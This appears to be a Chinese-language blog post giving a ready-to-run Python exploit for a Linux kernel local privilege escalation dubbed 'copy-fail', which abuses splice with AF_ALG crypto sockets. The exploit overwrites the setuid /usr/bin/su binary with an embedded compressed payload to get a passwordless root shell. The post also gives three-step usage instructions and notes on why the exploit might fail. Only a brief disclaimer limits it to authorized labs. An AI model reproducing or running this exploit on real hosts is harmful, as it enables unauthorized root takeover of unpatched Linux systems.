🐛 一分钟复现 Linux 内核「copy-fail」漏洞 | 本地免密提权 root
仅需几行 Python 代码,就能在未修复的 Linux 主机上拿下 root 权限。
一、漏洞简介
这是一个存在于 Linux 内核 4.x - 5.x 多个发行版的本地提权漏洞。
核心成因:内核在使用 splice 与加密套接字(AF_ALG)交互时,未能正确处理内存拷贝失败的情况(copy-fail)。攻击者通过损坏 /usr/bin/su 二进制文件,可以绕过密码验证,直接获取 root 权限。
原理详解可戳👉原作者博客
二、环境要求
- • 未打补丁的 Linux 内核(Ubuntu/Debian 部分旧版)
- •
/usr/bin/su 拥有 setuid 权限
三、复现代码
将以下脚本保存为 copy_fail_exp.py :
#!/usr/bin/env python3import os,zlib,socketdef d(x): return bytes.fromhex(x)def c(f,t,c): a = socket.socket(38,5,0) a.bind(("aead","authencesn(hmac(sha256),cbc(aes))")) h = 279 v = a.setsockopt v(h,1,d('0800010000000010'+'0'*64)) v(h,5,None,4) u,_ = a.accept() o = t + 4 i = d('00') u.sendmsg([b"A"*4+c], [(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3)], 32768) r,w = os.pipe() os.splice(f,w,o,offset_src=0) os.splice(r,u.fileno(),o) try: u.recv(8+t) except: passf = os.open("/usr/bin/su",0)i = 0e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d1"))while i < len(e): c(f,i,e[i:i+4]) i += 4os.system("su")
四、 复现三步法
- 1. 备份原
su 文件(重要!)cp /usr/bin/su /usr/bin/su.bak
- 2. 运行脚本
python3 copy_fail_exp.py
- 3. 直接提权
脚本执行完毕,自动弹出 su 命令,无需输入密码,直接回车即可进入 root 会话。
五、重要说明
- • 合法授权范围:该脚本会直接修改系统文件,严禁在非授权环境使用。仅限个人实验、CTF 或渗透测试学习。
- • 恢复方法:测试完成后,恢复备份文件以保平安。
cp /usr/bin/su.bak /usr/bin/su
- • 失败排查:如执行失败,通常因内核已针对此漏洞修复,或加载了 LSM 强制访问控制(如 SELinux)。
🔍 进阶学习
想了解漏洞在内核网络子系统与文件系统的交互细节?
后台回复「copy-fail」一起学习交流。
复现虽酷,安全第一 🛡️